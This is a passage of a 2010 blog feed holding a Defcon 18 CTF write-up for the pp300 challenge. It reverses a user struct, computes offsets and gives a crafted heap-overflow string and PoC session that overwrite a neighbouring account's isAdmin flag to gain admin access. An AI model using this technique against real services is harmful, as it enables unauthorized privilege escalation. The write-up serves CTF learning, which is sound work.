./pp300_6fa2f9a0d6617d2e3.bin&lt;br /&gt;&amp;nbsp; fcfl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9763&amp;nbsp; 0.0&amp;nbsp; 0.0&amp;nbsp;&amp;nbsp; 1996&amp;nbsp;&amp;nbsp; 340 pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp; 12:29&amp;nbsp;&amp;nbsp; 0:00 ./pp300_6fa2f9a0d6617d2e3.bin&lt;br /&gt;&amp;nbsp; fcfl@bs:~$ gdb program 9763&lt;br /&gt;&amp;nbsp; GNU gdb 6.8-debian&lt;br /&gt;&amp;nbsp; Copyright (C) 2008 Free Software Foundation, Inc.&lt;br /&gt;&amp;nbsp; License GPLv3+: GNU GPL version 3 or later &lt;http: gnu.org="" gpl.html="" licenses=""&gt;&lt;br /&gt;&amp;nbsp; This is free software: you are free to change and redistribute it.&lt;br /&gt;&amp;nbsp; There is NO WARRANTY, to the extent permitted by law.&amp;nbsp; Type "show copying"&lt;br /&gt;&amp;nbsp; and "show warranty" for details.&lt;br /&gt;&amp;nbsp; This GDB was configured as "i486-linux-gnu"...&lt;br /&gt;&amp;nbsp; program: No such file or directory.&lt;br /&gt;&amp;nbsp; Attaching to process 9763&lt;br /&gt;&amp;nbsp; 0xffffe424 in __kernel_vsyscall ()&lt;br /&gt;&amp;nbsp; (gdb) c&lt;br /&gt;&amp;nbsp; Continuing.&lt;br /&gt;&amp;nbsp; *** glibc detected *** ./pp300_6fa2f9a0d6617d2e3.bin: realloc(): invalid next size: 0x0868fd20 ***&lt;br /&gt;&amp;nbsp; (no debugging symbols found)&lt;br /&gt;&amp;nbsp; ======= Backtrace: =========&lt;br /&gt;&amp;nbsp; ...&lt;br /&gt;&amp;nbsp; ======= Memory map: ========&lt;br /&gt;&amp;nbsp; ...&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; Program received signal SIGABRT, Aborted.&lt;br /&gt;&amp;nbsp; 0xffffe424 in __kernel_vsyscall ()&lt;br /&gt;&amp;nbsp; (gdb) c&lt;br /&gt;&amp;nbsp; Continuing.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; Program terminated with signal SIGABRT, Aborted.&lt;br /&gt;&amp;nbsp; The program no longer exists.&lt;br /&gt;&amp;nbsp; The program is not being run.&lt;br /&gt;&amp;nbsp; (gdb)&lt;/http:&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Now we can overflow the user structure that is stored on memory, and maybe we'll be able to alter the variable isAdmin. As we need more info, I looked around the code to infer the data structure that stores all the user info.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Looking at 0x0804B148 (f_update_User_Info), 0x0804A6C0 (printUserInfo) and 0x0804B9E6 (createUser) we can enumerate all the fields of the structure.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&amp;nbsp; sizeof(USER STRUCT) == 9Ch&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&amp;nbsp; username&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; password&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x14&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; ??&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x35&lt;br /&gt;&amp;nbsp; isAdmin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x38&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;====&lt;br /&gt;&amp;nbsp; chickens&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x3c&lt;br /&gt;&amp;nbsp; monies&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x40&lt;br /&gt;&amp;nbsp; eggs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x44 &lt;br /&gt;&amp;nbsp; uid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x48&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; *next&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x4c&lt;br /&gt;&amp;nbsp; *prev&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x50&lt;br /&gt;&amp;nbsp; info&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x54&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; office&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x86&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;So, we cannot modify the user field isAdmin, because the direction of the overflow is only made from lower to higher memory addresses.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;This "problem" can be solved creating other accounts, expecting to find 2 accounts stored in consecutive memory addresses. The users are stored on memory using a double linked list (pointers *prev and *next) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Under these premises when we modified the first account, we'll overflow the data stored on the second account :). &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;So, on our test machine, we have created 2 accounts, and with the second account we'll be able to obtain the following info, using the command "p" (print user info). &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&amp;nbsp; 1: p&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (account #2)&lt;br /&gt;&amp;nbsp; &lt;node&gt; 868fb28&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; chickens: 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; eggs:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; monies:&amp;nbsp;&amp;nbsp; 1000&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; id:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; username: a2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; info:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; office:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; password: be735284c5f497986e4c954fdf370286&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; perm:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; next:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 868fa30&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;= account #1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; prev:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 868f7e0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/node&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;With this info we obtain:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; &lt;b&gt;Memory gap&lt;/b&gt;: 0x868fb28-0x868fa30-0x9c= 0xf8-0x9c=0x5c&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;b&gt; Size of field 'office'&lt;/b&gt;: 0x9c (size struct)-0x86 (offset field 'office')=0x16 &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; &lt;b&gt;len(Nops)&lt;/b&gt;=0x5c+0x16=0x72&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;b&gt; Bytes until account 2 field 'isAdmin'&lt;/b&gt;: 0x38 (must include username+encrypted key)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; &lt;b&gt;Bytes to overwrite (field 'isAdmin')&lt;/b&gt;: 2 bytes (value greater than 0x1f3h)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; &lt;b&gt;Total size&lt;/b&gt;= NOPs (0x72)+payload (0x3a)) == 0xAC== 172 bytes&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;So in order to exploit the server, we'll create a payload that will contain a valid USERNAME and a valid PASSWORD, that we'll give access to an Administrative account :).&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;We'll overwrite the username struct:username field (0x14 len) with  random data, for example,&lt;br /&gt;&amp;nbsp; username: AAAAAAAAAAAAAAAA0000&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;The password field with a blank password  (be735284c5f497986e4c954fdf370286)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;And finally, we'll overwrite the 'isAdmin' field with a value greater  that 0x1f3h (i.e. "00"==0x3030) So, finally the payload is&amp;nbsp;&amp;nbsp;  "AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf37028600"&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: small;"&gt;As it can be observed on the login function(0x0804A8B9), the username is tested against the user stored on the database with strcmp, so after overflow the memory, the username with the admin rights will have a name equal to the payload.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; exploit="ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;username="AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;On my test machine it worked properly (create 2 accounts with blank passwords and then inject the data on the first user). But on the online system I spent some time creating users until I found 2 users which its info were stored on consecutive memory address (with distance 0xf8).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;PoC:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; menu&amp;nbsp;&amp;nbsp;&amp;nbsp; (a)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; L) logout&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b) buy chickens&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i) incinerate money&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s) sell eggs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p) display my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u) update my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q) quit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; u&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1: u&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; would you like to change username (a) [y/n]: n&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; would you like to change user info () [y/n]: n&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; would you like to change office #() [y/n]: y&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; enter new office: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; would you like to change password [y/n]: n&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; finished updates&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; menu&amp;nbsp;&amp;nbsp;&amp;nbsp; (a)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; L) logout&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b) buy chickens&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i) incinerate money&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s) sell eggs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p) display my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u) update my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q) quit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; L&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1: L&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; menu&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c) create account&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; l) login&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q) quit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; l&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1: l&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; enter username: AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; enter password:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; logged in!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; menu&amp;nbsp;&amp;nbsp;&amp;nbsp; (AAAAAAAAAAAAAAAA0000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; L) logout&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b) buy chickens&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i) incinerate money&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s) sell eggs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p) display my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u) update my info&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; P) print userlist&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q) quit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1: 6&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; funkymonkeyfartsaregolden&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;So, the key is "&lt;b&gt;funkymonkeyfartsaregolden&lt;/b&gt;". pp300 solved :)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Btw, I've created a PoC python script that automates the attack on a local machine (&lt;a href="http://www.4shared.com/file/EWE362qQ/DC18_CTF_pp300.html"&gt;download&lt;/a&gt;).&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-8343552104784622148?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/8343552104784622148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/05/lets-solve-this-challenge.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/8343552104784622148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/8343552104784622148'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/05/lets-solve-this-challenge.html' title='Defcon 18 CTF qualifiers: pp300'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_3fh-o4rrHOk/S_wfVj12uLI/AAAAAAAAABk/5NaRkgAg0KM/s72-c/disas_01.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-9078990810170637250</id><published>2010-05-25T06:19:00.000-07:00</published><updated>2010-05-25T11:40:24.731-07:00</updated><title type='text'>My First Entry!</title><content type='html'>Hi all.&lt;br /&gt;&lt;br /&gt;Finally I've decided to share which the rest of the world my (little) knowledge about security, my thoughts and security paranoia’s ;p.&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-9078990810170637250?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/9078990810170637250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/05/my-first-entry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/9078990810170637250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/9078990810170637250'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/05/my-first-entry.html' title='My First Entry!'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
